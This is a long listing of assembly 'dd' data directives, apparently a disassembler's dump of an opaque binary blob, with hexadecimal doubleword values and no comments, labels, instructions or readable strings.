dd 6B0B17B7h, 5D867A8Dh, 329A711Ch, 4242F33Ch, 2115B58h
dd 0CA372768h, 78AB6BAEh, 0B68F2D5Ah, 0DAD54764h, 35A7CD61h
dd 444858F7h, 93112CD1h, 0AFC0BDC9h, 0FE72A9E2h, 99AFD797h
dd 0A799B657h, 6DD30C7Ch, 9CF8F863h, 0E90DDCD1h, 0F48EA8A3h
dd 7D202657h, 95CA6F27h, 3257F48Ch, 82EC2FD2h, 0D2250BF4h
dd 0E90A7D47h, 2BD3BC37h, 238C2FD2h, 0E64E647Dh, 1723B292h
dd 8A91FA40h, 0F97FD218h, 5FF48521h, 0EDC4CC9h, 1FF4B772h
dd 5F2DDB1Bh, 6D7384C7h, 5CA45854h, 3C6EDD41h, 0FD88D1F3h
dd 13924FFEh, 0E87AC577h, 0CB99740Ch, 73518875h, 3C83CDF7h
dd 0EE788777h, 0A1EBBF0h, 0EB58EB07h, 3E213020h, 18FE7873h
dd 608C472Fh, 0E68CCEB3h, 109959C9h, 0E97959Fh, 849598F4h
dd 0F8F1EA1h, 3541F1B5h, 4033B7D4h, 0A7C5E5E8h, 5B4F026Dh
dd 0BE1B4F1Eh, 0FD517C5Bh, 42B9B1AEh, 0EAB5F589h, 0E7C8E63Ah
dd 0BD4E0180h, 0BDD6915Ch, 624FFCD0h, 5C09A9FFh, 0C541A577h
dd 9802E374h, 34C39D86h, 0F4843DACh, 51EC6860h, 2DEAFFC5h
dd 9817DADh, 3F75FA0Dh, 0E5442373h, 1448FF69h, 54B27B95h
dd 79F6F88Ch, 3F046F70h, 375EF547h, 0BE6E8D61h, 1EED0891h
dd 6467BFB4h, 2CD0F39Ch, 0D27FCFDh, 0D6893A76h, 0EFC7FEF0h
dd 0EEFC31FAh, 80A1979Dh, 0C6EB1FAh, 5FAB1EB3h, 3B17ED88h
dd 0EC818207h, 0BFC6BBEEh, 34E79B33h, 6F0925A5h, 0F4033828h
dd 0B8F1AA0Eh, 4869054Ch, 0D3CC688Fh, 0E5632F24h, 6C8D594Bh
dd 23626564h, 3191B92Bh, 98E6B73Dh, 0D3FC5EF8h, 4D4F0C03h
dd 0BC4D4F0Ch, 7EF2C717h, 396BCB1Dh, 0F9E3BF9Eh, 2290B9B1h
dd 4B3F116h, 90661A8Bh, 365885F9h, 5D00C3E2h, 0E0590B5Bh
dd 63379631h, 0F1BB0486h, 0F1BBB071h, 7604FFADh, 2BB07175h
dd 0DD814079h, 76018B8Ch, 1BB07119h, 119760CFh, 7C0B6AEBh
dd 1CE8C9DCh, 3C718235h, 758C7182h, 9945C1D1h, 1C39A3B2h
dd 764203C7h, 0F2C5E7F1h, 0E64EF259h, 748DA500h, 66C9829Dh
dd 0F90902D2h, 0E5A3EB46h, 0B99252DDh, 3FBA58BEh, 0DD53A8DFh
dd 3E015FDFh, 6599BD3Fh, 0F8CE900h, 84AFADD3h, 5B13EBF8h
dd 6FB13DFFh, 3FBBEC73h, 735A5281h, 49B3A89Ch, 4A070A42h
dd 63EAF51Eh, 0A48E689Eh, 13C73659h, 0F3C4B041h, 6BD2D122h
dd 0F9D7AC62h, 0D2F17A5Ch, 2991239Eh, 36ECEE8Bh, 0F119CC7Ah
dd 0BBFA2600h, 0C35E4D36h, 61AF20BEh, 9CADE05Fh, 769371A1h
dd 6610FDD9h, 773993Fh, 934E18Dh, 1301C94Fh, 0E9859A7h
dd 6587130Bh, 0A4B7084Eh, 0B9A1E2F1h, 0F5A34702h, 0FA8CABD1h
dd 34702816h, 0E097FD59h, 0BC3645CAh, 0E2BC3642h, 877C2905h
dd 1D6C5DBCh, 38EAE985h, 0FD7615D2h, 7CCD0C1Bh, 0C7E6CB88h
dd 6090F0F1h, 1BF1B3F5h, 1915B683h, 54417CF6h, 0F29E3E01h
dd 9CCFCB98h, 0A8F2BEB5h, 2BA49221h, 0E6584DEBh, 96E8633Fh
dd 9B278C6Ch, 8FDD8196h, 7490CB74h, 94190CC1h, 83EB7B41h
dd 0B6FFFC6Fh, 70919F26h, 0A4347EB2h, 67A7ACA0h, 0CF80979h
dd 805128C3h, 74A59CD9h, 8C920D5Fh, 20EB3430h, 5886029Eh
dd 0B1C5FE01h, 9D0D1BB9h, 90B9F842h, 0DE82AE70h, 7504196Ch
dd 0BFC1C360h, 0DE727F1Dh, 4D8842D0h, 0C31D85A6h, 0FD1645C4h
dd 7BB1F89Ah, 530F6F16h, 6E98EB74h, 0EA94E390h, 0A2413253h
dd 0C2C92E83h, 0AE1948B1h, 3E7B92CDh, 0A05DF38Bh, 0EB57D1Ah
dd 5F8D6D30h, 0F69FBD11h, 306BCB7Bh, 681A3A83h, 0CB3CF68Dh
dd 50F6BC63h, 0BD047220h, 656E8ACAh, 1895C16h, 0C3723D64h
dd 0F83D7234h, 4F50DB15h, 42204365h, 2A6F8B14h, 32A34C7Dh
dd 3836B6A7h, 9144A03Ah, 6CF32820h, 0BB8EFC99h, 2B19CED2h
dd 4F9B380Bh, 0FDF99C99h, 36145D0Ch, 0B2D8465Eh, 4B5E731h
dd 0BACB9E7Ah, 6464A589h, 5D4B117h, 7E4B6C04h, 837AD7AAh
dd 0D6CE7FBAh, 1BCBF3F9h, 488E0B02h, 0FE212F97h, 0FC5F8E52h
dd 4814BD3Bh, 7F7EA6F2h, 4399D0E6h, 7995D4E7h, 9DDD0245h
dd 16989DD5h, 0CA912EEBh, 41A71A1Dh, 4702B192h, 561920EBh
dd 73057AA8h, 0BF15F8E3h, 61F05FEh, 0D830F8FBh, 0C74187C7h
dd 0EAFCBA47h, 0F0314BD9h, 7213B119h, 0E44E8573h, 0B45299FCh
dd 0B7B148ADh, 0C12EAB89h, 6F56E09Fh, 6046E32Ch, 1828AE72h
dd 97971258h, 2CA8C53Fh, 8FF323A1h, 56D625E8h, 0E51ACA40h
dd 4F1C423Ah, 68E4B450h, 0EC30E4ECh, 0EA1C9F8Bh, 0F44A9ED6h
dd 0E36A433Ch, 5F80C867h, 96C433A8h, 75043386h, 96433AAh
dd 2111D18Bh, 2732D7BBh, 5754BA46h, 4BB23AE8h, 0E90B5F62h
dd 38C37AABh, 0AB27A3C0h, 0C352ED27h, 9F0D4064h, 0D831E3BCh
dd 0BBB7921Eh, 2ED1FAEBh, 0D57CE6AEh, 0C4CDCF9Ch, 0FC827C6Fh
dd 0B64BE61Bh, 84FF8D2Bh
dd 6AE46166h, 319B76D6h, 50984B6Bh, 0A92C3BCEh, 0E5199E5Dh
dd 5650A948h, 75A271A1h, 4A411017h, 2158F2CBh, 0C614C9C0h
dd 2BF44B91h, 4F5D990Fh, 5133D69Ch, 404CBDE9h, 0F7AC856Bh
dd 0D2B0F132h, 456E897Bh, 1341E233h, 0C047CB93h, 60D7E18Fh
dd 14C7B00Dh, 86CDF019h, 0FF8CBEAh, 7A6E1A81h, 0CF195F9Ah
dd 77656151h, 0DC6E609Dh, 5F8C2887h, 56473783h, 0A16471ABh
dd 5BF09453h, 7CC0F28h, 74766AAAh, 5D77D06Fh, 6BA38DBCh
dd 850A86D0h, 0D54EDFB8h, 0D651BED1h, 745AEF5Ah, 34BC316h
dd 0AC1BC35Eh, 0C43F38BBh, 6D24B27Fh, 8B196C75h, 5219509Ch
dd 5BA3EB86h, 89CF7011h, 0BDCC5901h, 5FD9812Ch, 89564107h
dd 9BF78406h, 7FB968CEh, 298D1383h, 5E52F431h, 0F016A47Dh
dd 10DACFB7h, 41637A40h, 2A05ADB2h, 630DFE1Fh, 810D1531h
dd 4C47F431h, 0E985B64Ah, 0BFB7C578h, 0F8F7A8Eh, 0F21F9BC2h
dd 3963079h, 0F067969Ch, 0AD4FCB96h, 42AF2CD0h, 0DA2DC887h
dd 708E9E67h, 0C8AFC292h, 0F1463BA8h, 43CC8D31h, 94821F4Dh
dd 0CC6F6E5Dh, 0BE53A10Fh, 42D7A41h, 3857E802h, 0BD5D5C29h
dd 0CB08E8A1h, 0E0425988h, 78B3ABB3h, 978B3C89h, 88802248h
dd 9D17802Bh, 0D60FF7DFh, 0F5169B3Fh, 0ACA00FA9h, 2AF06351h
dd 2AA65094h, 7CCB16F2h, 60372C39h, 8F366C51h, 89997F88h
dd 1196990Fh, 9A60C451h, 9F3F80C6h, 0ED1C27BFh, 24BB0192h
dd 415D4E5Ch, 7195D453h, 259635B2h, 230F7ABCh, 8FFFBAB6h
dd 8F8FF7BDh, 0C61AB8AAh, 59247F67h, 240B2160h, 0D46A3518h
dd 1B50A960h, 842409B2h, 43724268h, 361604A2h, 84225D9h
dd 0D66E2481h, 0DEE4D240h, 0E8609A00h, 0EB966D26h, 56C5B4B6h
dd 5A3ED5FBh, 0A796B5B0h, 2D8B4550h, 8098306Ah, 4A951AA5h
dd 5B14785Ah, 68DC5EDAh, 120846A3h, 9CE7BF72h, 137777B9h
dd 0F9FBCFB0h, 49FEFBCh, 0E73BDECEh, 7DF99CCCh, 99DCCCE6h
dd 0BAD82433h, 0E78DB048h, 1F51BC17h, 844FF29Ch, 527B58E3h
dd 3725ABF7h, 9205E3B6h, 0E3439CCh, 4471C399h, 3686D686h
dd 0C3929C6Fh, 4B483E23h, 0A9690715h, 54B6A562h, 7877FE21h
dd 192EA43Ch, 10DFBA40h, 7021A962h, 6860E2C1h, 2D20E2C1h
dd 82FA8858h, 68E8F905h, 0DA2C16D7h, 0FB4582F9h, 390B0598h
dd 17F56980h, 0AF4F7C5Ah, 0D7D40AC6h, 89E5725h, 85DC1509h
dd 8D7D3BC4h, 13039F8Ch, 4085D75Eh, 624F268Eh, 4D48477Fh
dd 923A070Ch, 0E2E744FFh, 0F92ED7EFh, 240221E3h, 2095414Ah
dd 93A7BE4Eh, 0A1BE93C0h, 843C112Eh, 0F0DDF0CCh, 0B43F26BAh
dd 3EC9F890h, 0A8314010h, 25C4F63Ch, 0B5D7F02Ch, 0A91491EFh
dd 2FA9D16h, 7F5B95A2h, 0A059E74Eh, 8D9B11A2h, 5B247FC7h
dd 0F331DC8Dh, 0AFDB684Fh, 260D2303h, 2A463F41h, 42D5836Eh
dd 0E092807h, 1D3F7CC5h, 113A7846h, 24310713h, 0BE756F71h
dd 8A83A997h, 0F16A65CBh, 0F78330A0h, 4F4CAC60h, 2A3675EAh
dd 0B66E7215h, 16967130h, 2A200E58h, 0E64577F6h, 71D843ACh
dd 58E5BC8h, 0A27F40E6h, 0DCB2F38Eh, 7AB79AB1h, 0A44DD07Ch
dd 0D7C4BA90h, 9DBAEEB9h, 0BA8F24E4h, 0AADA8F51h, 0A3D56D45h
dd 56D452B6h, 6D22EA3Dh, 187ADF0Dh, 5E10D3CDh, 6BF2514Dh
dd 0D08BB535h, 0A3357E5Ah, 0E3065FAh, 233EE54Ch, 98F8F6D3h
dd 7E705B4h, 29663802h, 425F8F25h, 3798F169h, 0DE55750Eh
dd 0E47E1E55h, 2D3D6D49h, 0F01C1F4Eh, 819D6CE5h, 9A5864E6h
dd 7970A2D2h, 30AF6AC6h, 0E4FC91D2h, 0AF2EE1C9h, 8DA17D41h
dd 8F920EB4h, 84D53E3Bh, 8FF93232h, 0B0C65AACh, 7F0E1742h
dd 0C256612Dh, 76C55815h, 0A5A6463Ch, 5C257675h, 5386FB7Ch
dd 792F6B25h, 60DAA0FCh, 8C45660Bh, 0D7809A02h, 878368C2h
dd 4132E327h, 0BE82071Fh, 0C163126Bh, 0D6079705h, 8D879FCBh
dd 0F6D862BBh, 0B0EFD849h, 7C48B318h, 8E34DCE1h, 0D3FCBB7Fh
dd 6D1ACA95h, 3BEEF268h, 1CAFBA9Bh, 0FFBB6AC0h, 43B6EA68h
dd 658C317Dh, 49066A1Dh, 2189AA8Bh, 7DB0AD24h, 43E26585h
dd 0B2B9E130h, 899E52C4h, 3A19A6D3h, 8B817D59h, 0F74F48C0h
dd 0FACDA7DFh, 3ACB8ABFh, 9C170B9Dh, 0C7194807h, 0FBF6E55Fh
dd 779FA950h, 0ECEAAC3Eh, 2AFE2227h, 0A7A89193h, 5B371DB9h
dd 0D72F1379h, 0A56846ADh, 0FA56846Fh, 95C6D0CCh, 7F9D343h
dd 1DD89994h, 0EA56E8A2h, 64C7050Eh, 7E8A32BEh, 0F9F20102h
dd 576363FCh, 33091146h, 5C2B2C6Eh, 21F6DB82h, 876DE06h
dd 0C4C9950Dh, 143D723Bh, 28DC8659h, 69872CDFh, 5B587966h
dd 9C17C5DFh, 0E4C61D98h, 7566FE1h, 0FDF588FAh, 1BAABC34h
dd 5DAF9691h, 0A47A2D21h, 1C5A55E1h, 7F6E42DDh, 7A3770C7h
dd 0C83ED41Ah, 710B908Ch, 721F7DAh, 815341A7h, 0FA41B7Ah
dd 917C6917h, 0E3E37B8Bh, 608FCA4h, 3B6DC7F4h, 0F9C0768Bh
dd 0E9328CFAh, 6FA4BBFFh, 9786B55Ch, 1681AEAh, 0D1B4812Dh
dd 42FA93FCh, 90BE49F6h, 0CFBC327Dh, 206F8EA4h, 0C687BE39h
dd 12647C08h, 4030363Dh, 4D04F7D3h, 14A01CAFh, 99CDE827h
dd 0E0E221D0h, 0C89A44E5h, 0A868D1F0h, 0E4E6735Bh, 0F10FC690h
dd 27C1CA20h, 818E8103h, 0F5E5B1E7h, 1163E955h, 4B67F912h
dd 7CC9ABA8h, 87A30D59h, 34A4E596h, 8EFE7461h, 40E3CFD3h
dd 0D1A18186h, 0A7C94F3Ch, 60740190h, 1E799F2Dh, 8992622Fh
dd 70FDC398h, 92075647h, 40A6E9Ah, 0DB728790h, 0A1692E4Fh
dd 3D484FB6h, 5A74BDC2h, 8E813D82h, 9293CF53h, 0EF5827A0h
dd 21DD032Ah, 0A2534115h, 2521EE0Eh, 4BD01F0Ah, 0BBE868ABh
dd 9E62883Ch, 8747991Ah, 7EB1F596h, 0BAD7AC8Eh, 1C5995E8h
dd 0A13BF1B2h, 1323FF92h, 286D7ADFh, 2FA81CA1h, 0CF970A9Ch
dd 0F6717295h, 12C9D0C3h, 348CE473h, 348CFC63h, 793BA944h
dd 667CAD9h, 7DEBF14Dh, 4BD1D72Fh, 8335B68Dh, 1565FF3Eh
dd 0EAA589A6h, 211750Bh, 0B83BBD09h, 4D21B51Fh, 0CAB1017Dh
dd 607469DCh, 4B236F97h, 0C7284D6h, 0D5A1C2F6h, 71A0A9A1h
dd 8C1536BDh, 0E457D68Ah, 7BEA8007h, 0C572BE99h, 234DBFB6h
dd 0E8B269Ah, 23CEC6D3h, 58238EFEh, 6CDF42FDh, 85B408E1h
dd 0C73B6A7Eh, 4856D79Eh, 0A70F9FFAh, 0E3F3C8EBh, 0AF00F72Bh
dd 72BC03DCh, 0EB21C06Fh, 0D7CA00B2h, 49C13563h, 0CCDCA699h
dd 3E53486Eh, 384BA298h, 4C1337A8h, 0C79EFBABh, 79FC791Eh
dd 0E71E47ADh, 0F138F36Dh, 0E600DFA3h, 1B70B7C2h, 0CD077DA4h
dd 0FE58C3B0h, 0B714D689h, 61C8FFCDh, 50BF400Ah, 0E3CF5D1Bh
dd 0DDFC7B47h, 4BA27F01h, 8EECCC26h, 0F81CEA3Eh, 15D0BEAEh
dd 8EFEC28Ah, 0F3B2C6F7h, 8F71AA9Fh, 0DA79E74h, 0BF449C28h
dd 2BBC7561h, 0DF00431Ch, 0C5B396FDh, 70E9686Ah, 0FD932F3Fh
dd 0AE18997Ah, 53F12654h, 8C7856B4h, 9463C2B7h, 6C28AF90h
dd 3ED1EBFDh, 0D1F6551Ah, 1C5ACFFAh, 5E3F2255h, 6DA39DCEh
dd 7F6D8D3Dh, 0FF990719h, 6F1338FDh, 0E0E287Fh, 0E37505EEh
dd 5364E0FFh, 78F401C7h, 0F88357F9h, 781ABFCBh, 0DB8E5DA7h
dd 0FC57F0D5h, 2F6FBC9Ch, 7BE194B7h, 0AD5EFF7Ah, 0EA05F1AEh
dd 5EDB1F1Ah, 0AFDA2C26h, 5D1A1F4h, 520605AFh, 6CF28C0h
dd 9E33E642h, 652D8BD9h, 0F7A1E8Fh, 0DF0F8D0Fh, 696BF8CBh
dd 93C9934Dh, 9E2181FEh, 4D3EDF3Bh, 33835C6h, 48E5A35Ch
dd 0AE22FDCDh, 729BE1BDh, 7254517h, 7B7F5E30h, 671E0BA0h
dd 890AB4DDh, 0D8EFE525h
dd 0C17697BDh, 3A7AC5ECh, 0F7279840h, 9BBA8172h, 21EC2527h
dd 0C68488Bh, 0AFB15D00h, 96147B30h, 0DA3A4CC2h, 0F5F193Fh
dd 0EDC8B59Dh, 5687181Dh, 0BC03C142h, 9E819EE7h, 258D663Bh
dd 0C73BE0CDh, 0DB2ED3BCh, 0FCA8358Fh, 995F1268h, 46A47DAh
dd 352FF2FEh, 4EAABFD3h, 4B1BDA17h, 0A1B54EA8h, 0EE1AF946h
dd 0F2E32F76h, 6A4CAF8Ah, 6B57CE5Bh, 14766F42h, 75DF6C9Eh
dd 6C7EA670h, 0F4CBFBF1h, 4A51AD4Dh, 80B43593h, 0FF3787BDh
dd 24F87B3Dh, 0F3693260h, 7141BFC3h, 33A55062h, 0B346F35Ah
dd 0FDB6D483h, 0C5EE8F1Dh, 57B659C5h, 0B7C4185Fh, 6DA0C2D0h
dd 0BFB4EE2Fh, 0D320E35Dh, 5E18EDA3h, 9C15F75Dh, 24D05842h
dd 0BF8C4A68h, 63AF1878h, 44ED5EE7h, 0F1E3BFAFh, 82127CBDh
dd 4347394Fh, 5FC65EF8h, 0F0D1AE26h, 36C28B2Ch, 646EC2DAh
dd 0BBAA98D1h, 4D3E00E5h, 0E3CD66B9h, 602057ADh, 9C89A688h
dd 83D79F80h, 59F4D5DBh, 0D0E911B8h, 3B81D08Dh, 0A9271C3Bh
dd 7B41F0B4h, 0F6E34D4Ah, 0F7808294h, 0DDB0AE9Ah, 0F0EAF8F0h
dd 4A3BCD66h, 8D906661h, 34989E56h, 0BBD0EB99h, 8FC15D0h
dd 9F97C0E6h, 7036DE00h, 0ADE76F1Ah, 0AF94F156h, 33FABF1Ah
dd 0D093E8D2h, 0B59EE20Ah, 7488BB21h, 0F6A51E88h, 29D2CA9Bh
dd 0EE1F264h, 268EC9EEh, 26EC0D01h, 0FFEC0C98h, 5E3BEC8Ch
dd 0D9C685A3h, 687943B0h, 0D0ABBF35h, 0F9D042AEh, 0E1EB7277h
dd 333F9C68h, 64DBB77Bh, 0E2D47B23h, 0DDF0077Dh, 0F9BB0C2Fh
dd 3726E645h, 0F0040FFCh, 72E729A2h, 0AC95EF98h, 0A16D77D2h
dd 0B0DF1195h, 70704E2Ah, 0EBC11443h, 849C74E5h, 86F9EFA8h
dd 7C34E28Dh, 0F849C498h, 0ABA45078h, 1861656Ah, 38612D35h
dd 0A7A4333h, 4B4A3652h, 6E63A3FFh, 8ECB6F1Ah, 0DB1E16C7h
dd 61E34C9Eh, 0DC8D500Ah, 0ECBF3716h, 62BD09CAh, 3B1EEE27h
dd 8E9EAF76h, 0AF78839Dh, 0BF79D64Eh, 0FEDB1C34h, 0DDE01931h
dd 0D546A74h, 0FD147FFBh, 6DFE4E3Fh, 0BE9C970Eh, 17E91283h
dd 1E5EC286h, 745B2F47h, 0D5956896h, 930E1C2Fh, 0BDF2449Fh
dd 0D6CCE491h, 25D0BF21h, 3D6CCE6Eh, 0F565362Ch, 8764F58Ah
dd 5AF8F3C8h, 3A57D234h, 0EC0BD594h, 0D95F7BC5h, 0EB40EE01h
dd 0F69FA7FEh, 9AB738DAh, 0BC0E9DA7h, 32B7695Dh, 486EC429h
dd 950C3D2Dh, 0F741D135h, 57696F9h, 320BD3AFh, 6CD4193Bh
dd 0A251865Eh, 0F82FDD76h, 0A5D3B2EEh, 989DF178h, 21B8F4F3h
dd 41EAB628h, 301F3768h, 34F4386Eh, 0D49BFA70h, 0B1B3FC23h
dd 0AF3B3847h, 4378F847h, 15AFF08Fh, 0AA3FC23Dh, 25D3847Bh
dd 0F927C23Dh, 0AA99C23Dh, 1BEFE11Eh, 0A8F847Bh, 3D0F847Ah
dd 0BEB0423Dh, 0F6805047h, 611EBCEFh, 711DC200h, 546F08F6h
dd 20C708F6h, 0F5369FCCh, 7BC26F08h, 9DBFBC1Fh, 3BC23D4h
dd 3085DE7Eh, 67FDC1C7h, 0FC11FFC0h, 8F627BFh, 0FDDC027h
dd 3F017FEFh, 11EE6D7Fh, 93F782DEh, 0DECA7EF0h, 1DCFFC23h
dd 29FBC23Dh, 8F51C23Dh, 0FDC9EFAh, 0D43B7469h, 0E03EB2F7h
dd 856B6AB9h, 4E94BDDEh, 3FF5B89Bh, 0F3D2AC6Fh, 11F03F12h
dd 0E79499C6h, 0CAF29C74h, 0C80CE96Fh, 5CFE3C66h, 0D5BB533Bh
dd 0DBB8A61Eh, 0EC6AAA1Ah, 0E2347568h, 629A3A7Eh, 0F6FF9371h
dd 0FD8F1993h, 7B4BAC9Bh, 8387D0ACh, 0C31E3393h, 8D927243h
dd 0A62A206Ch, 23BDE2EFh, 7DAB26DFh, 67B96916h, 4CD221AEh
dd 0F52514C4h, 2266F1A5h, 0D46E52EEh, 3CEDCA71h, 4D31874Dh
dd 0ED64E7Fh, 3B621A23h, 0B9E7C352h, 3BC59DBEh, 5974BBDEh
dd 86E3ED3Dh, 9196F8EEh, 0C9A19C6Ch, 2814C972h, 0B16C84B0h
dd 28D5FE2Fh, 5944F69Fh, 2A10DC4Dh, 3A34F1A1h, 0F4EE6734h
dd 2BC7E202h, 4E48EDB9h, 0BC33F89Eh, 0D79A000Bh, 58008B98h
dd 7D0022F8h, 0E92398D1h, 0E1D39810h, 8EE98FD9h, 8A92FF7Dh
dd 373AFF79h, 0A85BAA20h, 461DA8F7h, 0DC29539Bh, 36FC3947h
dd 0BFC5B3F5h, 38278CC1h, 90753F95h, 0C135C3B5h, 0D5D997A5h
dd 5F181C30h, 8F95CB60h, 0D817A77Fh, 0F3E1BD85h, 56FBB41h
dd 1E6D1995h, 0C83B5B2Ah, 976A5D7Ah, 0F8755D76h, 853F84A2h
dd 8CDF66ECh, 9C9F9A45h, 7B386110h, 9CDF8192h, 136E8D34h
dd 0F8DE538Dh, 679C8E0Dh, 81CC2087h, 0B268CC5Bh, 76DB8C4Ch
dd 53EC56E1h, 92176DD6h, 9FD48C9h, 6DC74A32h, 5F3A97D0h
dd 0A433441Eh, 9E080EA5h, 7F8E68Ch, 0A77E39B9h, 0C183D4B3h
dd 0CA1B8D10h, 90E793F2h, 27C47E45h, 10A7C18Fh, 67EBEC9Eh
dd 284E4EACh, 43E32717h, 2DD0598Ch, 5586BC9Ah, 34A6BA4Eh
dd 37396421h, 25AF0AB8h, 57260BD0h, 0D422FE39h, 6724B5Bh
dd 0E61BE16Fh, 0CB6A5A45h, 6A445E51h, 0EA16C87Ah, 0DD3349A8h
dd 253E617Eh, 5333D121h, 0ADCEE633h, 0A63373CCh, 0F1B8D9AFh
dd 7CD06BD2h, 846B479Eh, 0D5D9196Bh, 0C0370B29h, 36C6CA5h
dd 39BD1EE4h, 0BAB5E19Eh, 876DC8C9h, 973A09B0h, 95D3BC3Bh
dd 1AF517F2h, 7E1BFF9Ch, 0CE9B1D68h, 0E4D499C1h, 1EEAACD7h
dd 1F531013h, 0A0BF0CA7h, 20F33107h, 9F8830A7h, 370BA107h
dd 4886693Ch, 94D3ADABh, 6120B5D7h, 0B7E52CDCh, 3414E3Ah
dd 6FBB78DBh, 0B83FDA25h, 2BF93F59h, 6B5DED9Ah, 3672DDBAh
dd 0CB975E36h, 1789D653h, 0FC80FDD5h, 95BAB77Ah, 0DA9AFD1Fh
dd 0DC57C56Ch, 5F8CB5CCh, 32EB3746h, 1877ECABh, 71ECAB34h
dd 44B56A48h, 0A485C31Ah, 0EF45835Fh, 0B257AC97h, 3BC06B87h
dd 27CA1DE8h, 309D69BBh, 0BDF2B253h, 0E351BA2Bh, 72DC2593h
dd 874866FBh, 8F6C647Ch, 0B1EB2F55h, 8531E49Eh, 72794534h
dd 0E24298FFh, 0EF0E5C81h, 0FD81CAADh, 0E1FCACBAh, 39AA2A1Eh
dd 49D95458h, 2D243A1h, 3A0FD65Ah, 77855AC6h, 0E85F1FECh
dd 10C2CAC9h, 29CE42A7h, 7E7D3901h, 0CE827113h, 5BF18BB8h
dd 0BEB33421h, 0FA3D7FCBh, 7D879755h, 7E7C194Dh, 5E7BA554h
dd 0B76C29B1h, 16E66647h, 5E245DE5h, 8CEFDCC1h, 7EE6B1F4h
dd 68FCFD7Fh, 0F3DFB9A4h, 0FDCD6369h, 0B993AC3Eh, 34FEDFB9h
dd 5DA32732h, 0C592E61Eh, 9EFC8B64h, 1EF813DCh, 3EB3704Eh
dd 43758A6Dh, 0CDCDB3A7h, 0EB24F500h, 15E7E350h, 6D93F3DBh
dd 48133A68h, 45C62931h, 5E376F59h, 7CB2E6A0h, 7EF65B79h
dd 58F953D0h, 749A4A03h, 0DCF74C87h, 0D287D3FBh, 70B936CDh
dd 0F48D1DB3h, 9F27F824h, 0E59EB46h, 0B428EED1h, 6F4D123Bh
dd 8107E3FBh, 73269C1Eh, 384C9C7Fh, 47B34968h, 7EC42EB3h
dd 6710ED1Bh, 67B7C97Dh, 0F956E5CAh, 0E5B7ECC4h, 0DBFD0F2Fh
dd 4EB9281Ah, 0F4383F95h, 2FE9AB77h, 9AB23E87h, 0D2FACFDEh
dd 2FEC3A5Fh, 177EC6B7h, 6FC9D93Fh, 0ECD0FA1Dh, 0A304B62Fh
dd 0B79C9DB8h, 0C4C61F7Ch, 0DA03F8BEh, 3B89248h, 48CF70DEh
dd 0DA7E8BECh, 43B71219h, 0CD24EB4Eh, 0A23A5FD4h, 9E383BCh
dd 851F53D7h, 0E234BB57h, 0C88F944Dh, 0EDCFF6BDh, 17F2ACEFh
dd 9CFF9C8Fh, 0E37A711Bh, 0E2E44FDDh, 633FDF11h, 6EC5924Dh
dd 4D1CB7DDh, 1684BFBEh, 6D8B051Dh, 7C65609Bh, 5671676Dh
dd 77EC70EBh, 8BD34136h, 29D1F4B8h, 0E3A580DFh, 685C1F96h
dd 0D89688BAh, 0F98F88D0h, 91E83C75h, 15F38515h, 0FB1830BFh
dd 22E98FDDh, 459011E1h, 78705938h, 0A71CDECDh, 0D94F1EFAh
dd 5B6D467Dh, 47BBFF93h, 17AAF0F0h, 1EEFFEDCh, 9AF021E3h
dd 0C64BF26Ch, 23C502C7h, 3566BDCBh, 61DF39Dh, 69542F5h
dd 0FC8468DDh, 4A7CE5F6h
dd 1F7043CFh, 4621C5A4h, 0D3940E8Bh, 0BC86BDD9h, 72D86385h
dd 0AA2243D3h, 83D3E48Ah, 1B010729h, 0AA521E28h, 0DF54977Dh
dd 0E6BC1369h, 471618D4h, 6E0A52Bh, 0C878A6C5h, 0F29BF7F7h
dd 7AE0C594h, 0CF1A20C6h, 0CC54349Fh, 0A1EA78D2h, 6F8454D7h
dd 0DBC62CC5h, 0A0710366h, 0B665B1Bh, 68297F56h, 0EDB12395h
dd 0DE80B087h, 0C4BDF588h, 0D97345F8h, 60AF3058h, 0E5A30749h
dd 950C21D2h, 35AF966Bh, 0CD7ACA1Dh, 9B35C42Fh, 7871A5FCh
dd 0C590F80Eh, 30D59A04h, 2FE5D424h, 7CB41B6h, 71C5598Fh
dd 646AAB4Dh, 0A02E6E43h, 333523E4h, 984820D9h, 0B26AC658h
dd 7EF48A59h, 410EEFECh, 0CD0A041Dh, 0CF366F59h, 35B140Eh
dd 0CA058C3Eh, 98C305D1h, 0CD420C2Ch, 160DBA9Bh, 849C5F94h
dd 823B3BF7h, 0F07C35BBh, 0CA0F8C09h, 9B185D2h, 32209943h
dd 6F2F7DBFh, 940CFB04h, 213003CBh, 32EF4A61h, 0B972015Dh
dd 0ADE506BDh, 0F235FA69h, 3E7A2274h, 0DD93E938h, 0E0C6AF4Bh
dd 320635E6h, 0C1DCAE90h, 7FCFB9E7h, 2C7E999Dh, 0F9AB6CDAh
dd 535BB3F5h, 2FF63D5Fh, 0A43E49D2h, 0B17EF3EBh, 3828C48Ch
dd 62F0C73Ch, 6591E543h, 0F81517A4h, 0A2CA6F7Ah, 7AEF2D40h
dd 341F3473h, 3AD8820Bh, 2C22497Eh, 0FE58451Fh, 0F0C2248Dh
dd 14DD3F6Ah, 0EE7B66F1h, 0BE6E7B4Ah, 2461773Dh, 0D458F56Ah
dd 0D8B39C36h, 0C914E1B7h, 0C2F3E68Eh, 94758784h, 892DCF68h
dd 0CF60D0E4h, 0A1A3B2ADh, 75AC31E3h, 39B97BD3h, 223B0E21h
dd 0B0861438h, 0E058116Dh, 7AC71E60h, 506E5F3Ch, 494872D9h
dd 36451CB8h, 0C6C32F96h, 0BE6B115Fh, 0E5C67622h, 4A43B4D8h
dd 0B8B115F4h, 0DCFBA027h, 0B4689CB6h, 0B73D691Fh, 4C5E9F2Dh
dd 0DC6EAEF6h, 6FF644A1h, 0FB725656h, 0C5634F37h, 0F8B3F1A8h
dd 0DF1407Dh, 6F331978h, 10DC1D34h, 594538B4h, 400F0536h
dd 0B6F2C682h, 0A11CBDA0h, 0F13E3517h, 0E6A190D3h, 4283FCE5h
dd 0F6681B67h, 0F9C5471Dh, 32FC77DBh, 5C6BF18Ah, 7EB6E46Ah
dd 3A59093Ch, 39FB1CB2h, 3A0B2873h, 0B1C95B74h, 7D56CD5Eh
dd 1CE80FCAh, 8F7E51E4h, 3DADCEBCh, 899EDC4h, 0CB1D7F6Eh
dd 32FDA06Dh, 11DB7F6Eh, 0C97746E2h, 6FF545E0h, 0C6FD0EEh
dd 3CA5D6BAh, 6EDA00FAh, 70386C55h, 9C11F287h, 0B83BC1ECh
dd 8BB53BB9h, 11F54607h, 29B51B6Fh, 0FA5A8CD1h, 9A16166Bh
dd 2C0DE0E1h, 0BD6546A0h, 48D8974Fh, 741FB946h, 17E4C90Dh
